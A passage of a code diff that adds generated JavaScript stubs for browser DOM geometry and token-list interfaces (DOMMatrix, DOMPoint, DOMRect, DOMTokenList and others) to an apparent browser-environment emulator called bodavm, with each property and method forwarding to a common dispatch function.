+bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat32Array", { + configurable: true, + enumerable: true, + writable: true, + value: function fromFloat32Array() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat32Array", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat64Array", { + configurable: true, + enumerable: true, + writable: true, + value: function fromFloat64Array() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat64Array", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMMatrix', "fromMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function fromMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromMatrix", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMMatrix', "a", { + configurable: true, + enumerable: true, + get: function a() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_get", arguments); + }, + set: function a() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "b", { + configurable: true, + enumerable: true, + get: function b() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_get", arguments); + }, + set: function b() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "c", { + configurable: true, + enumerable: true, + get: function c() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_get", arguments); + }, + set: function c() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "d", { + configurable: true, + enumerable: true, + get: function d() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_get", arguments); + }, + set: function d() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "e", { + configurable: true, + enumerable: true, + get: function e() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_get", arguments); + }, + set: function e() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "f", { + configurable: true, + enumerable: true, + get: function f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_get", arguments); + }, + set: function f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m11", { + configurable: true, + enumerable: true, + get: function m11() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_get", arguments); + }, + set: function m11() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m12", { + configurable: true, + enumerable: true, + get: function m12() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_get", arguments); + }, + set: function m12() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m13", { + configurable: true, + enumerable: true, + get: function m13() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_get", arguments); + }, + set: function m13() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m14", { + configurable: true, + enumerable: true, + get: function m14() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_get", arguments); + }, + set: function m14() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m21", { + configurable: true, + enumerable: true, + get: function m21() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_get", arguments); + }, + set: function m21() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m22", { + configurable: true, + enumerable: true, + get: function m22() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_get", arguments); + }, + set: function m22() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m23", { + configurable: true, + enumerable: true, + get: function m23() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_get", arguments); + }, + set: function m23() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m24", { + configurable: true, + enumerable: true, + get: function m24() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_get", arguments); + }, + set: function m24() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m31", { + configurable: true, + enumerable: true, + get: function m31() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_get", arguments); + }, + set: function m31() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m32", { + configurable: true, + enumerable: true, + get: function m32() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_get", arguments); + }, + set: function m32() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m33", { + configurable: true, + enumerable: true, + get: function m33() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_get", arguments); + }, + set: function m33() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m34", { + configurable: true, + enumerable: true, + get: function m34() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_get", arguments); + }, + set: function m34() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m41", { + configurable: true, + enumerable: true, + get: function m41() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_get", arguments); + }, + set: function m41() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m42", { + configurable: true, + enumerable: true, + get: function m42() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_get", arguments); + }, + set: function m42() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m43", { + configurable: true, + enumerable: true, + get: function m43() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_get", arguments); + }, + set: function m43() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "m44", { + configurable: true, + enumerable: true, + get: function m44() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_get", arguments); + }, + set: function m44() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "invertSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function invertSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "invertSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "multiplySelf", { + configurable: true, + enumerable: true, + writable: true, + value: function multiplySelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "multiplySelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "preMultiplySelf", { + configurable: true, + enumerable: true, + writable: true, + value: function preMultiplySelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "preMultiplySelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateAxisAngleSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function rotateAxisAngleSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateAxisAngleSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateFromVectorSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function rotateFromVectorSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateFromVectorSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function rotateSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "scale3dSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function scale3dSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scale3dSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "scaleSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function scaleSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scaleSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "skewXSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function skewXSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewXSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "skewYSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function skewYSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewYSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "translateSelf", { + configurable: true, + enumerable: true, + writable: true, + value: function translateSelf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "translateSelf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMMatrix', "setMatrixValue", { + configurable: true, + enumerable: true, + writable: true, + value: function setMatrixValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "setMatrixValue", arguments); + } +}, 'prototype'); +// DOMPointReadOnly对象 + +bodavm.memory.globalobj['DOMPointReadOnly'] = function DOMPointReadOnly() { + console.log_copy('DOMPointReadOnly 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMPointReadOnly(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMPointReadOnly'], "DOMPointReadOnly"); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "fromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function fromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].undefined, "DOMPointReadOnly", "fromPoint", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "z_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "w", { + configurable: true, + enumerable: true, + get: function w() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "w_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "matrixTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function matrixTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "matrixTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPointReadOnly', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPointReadOnly'].prototype, "DOMPointReadOnly", "toJSON", arguments); + } +}, 'prototype'); +// DOMPoint对象 + +bodavm.memory.globalobj['DOMPoint'] = function DOMPoint() { + console.log_copy('DOMPoint 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMPoint(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMPoint'], "DOMPoint"); +bodavm.memory.globalobj['DOMPoint'].prototype.__proto__ = bodavm.memory.globalobj['DOMPointReadOnly'].prototype; +bodavm.memory.globalobj['DOMPoint'].__proto__ = bodavm.memory.globalobj['DOMPointReadOnly']; +bodavm.toolsFunc.defineProperty('DOMPoint', "fromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function fromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].undefined, "DOMPoint", "fromPoint", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMPoint', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPoint', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPoint', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "z_get", arguments); + }, + set: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "z_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMPoint', "w", { + configurable: true, + enumerable: true, + get: function w() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "w_get", arguments); + }, + set: function w() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMPoint'].prototype, "DOMPoint", "w_set", arguments); + } +}, 'prototype'); +// DOMQuad对象 + +bodavm.memory.globalobj['DOMQuad'] = function DOMQuad() { + console.log_copy('DOMQuad 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMQuad(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMQuad'], "DOMQuad"); +bodavm.toolsFunc.defineProperty('DOMQuad', "fromQuad", { + configurable: true, + enumerable: true, + writable: true, + value: function fromQuad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].undefined, "DOMQuad", "fromQuad", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMQuad', "fromRect", { + configurable: true, + enumerable: true, + writable: true, + value: function fromRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].undefined, "DOMQuad", "fromRect", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMQuad', "p1", { + configurable: true, + enumerable: true, + get: function p1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMQuad', "p2", { + configurable: true, + enumerable: true, + get: function p2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p2_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMQuad', "p3", { + configurable: true, + enumerable: true, + get: function p3() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p3_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMQuad', "p4", { + configurable: true, + enumerable: true, + get: function p4() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p4_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMQuad', "getBounds", { + configurable: true, + enumerable: true, + writable: true, + value: function getBounds() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "getBounds", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMQuad', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "toJSON", arguments); + } +}, 'prototype'); +// DOMRectReadOnly对象 + +bodavm.memory.globalobj['DOMRectReadOnly'] = function DOMRectReadOnly() { + console.log_copy('DOMRectReadOnly 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMRectReadOnly(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMRectReadOnly'], "DOMRectReadOnly"); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "fromRect", { + configurable: true, + enumerable: true, + writable: true, + value: function fromRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].undefined, "DOMRectReadOnly", "fromRect", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "top", { + configurable: true, + enumerable: true, + get: function top() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "top_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "right", { + configurable: true, + enumerable: true, + get: function right() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "right_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "bottom", { + configurable: true, + enumerable: true, + get: function bottom() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "bottom_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "left", { + configurable: true, + enumerable: true, + get: function left() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "left_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "toJSON", arguments); + } +}, 'prototype'); +// DOMRect对象 + +bodavm.memory.globalobj['DOMRect'] = function DOMRect() { + console.log_copy('DOMRect 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMRect(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMRect'], "DOMRect"); +bodavm.memory.globalobj['DOMRect'].prototype.__proto__ = bodavm.memory.globalobj['DOMRectReadOnly'].prototype; +bodavm.memory.globalobj['DOMRect'].__proto__ = bodavm.memory.globalobj['DOMRectReadOnly']; +bodavm.toolsFunc.defineProperty('DOMRect', "fromRect", { + configurable: true, + enumerable: true, + writable: true, + value: function fromRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].undefined, "DOMRect", "fromRect", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMRect', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRect', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRect', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRect', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "height_set", arguments); + } +}, 'prototype'); +// DOMRectList对象 + +bodavm.memory.globalobj['DOMRectList'] = function DOMRectList() { + console.log_copy('DOMRectList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DOMRectList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMRectList'], "DOMRectList"); +bodavm.toolsFunc.defineProperty('DOMRectList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectList'].prototype, "DOMRectList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectList'].prototype, "DOMRectList", "item", arguments); + } +}, 'prototype'); +// DOMStringMap对象 + +bodavm.memory.globalobj['DOMStringMap'] = function DOMStringMap() { + console.log_copy('DOMStringMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DOMStringMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMStringMap'], "DOMStringMap"); +// DOMTokenList对象 + +bodavm.memory.globalobj['DOMTokenList'] = function DOMTokenList() { + console.log_copy('DOMTokenList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DOMTokenList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMTokenList'], "DOMTokenList"); +bodavm.toolsFunc.defineProperty('DOMTokenList', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "values", { + configurable: true, + 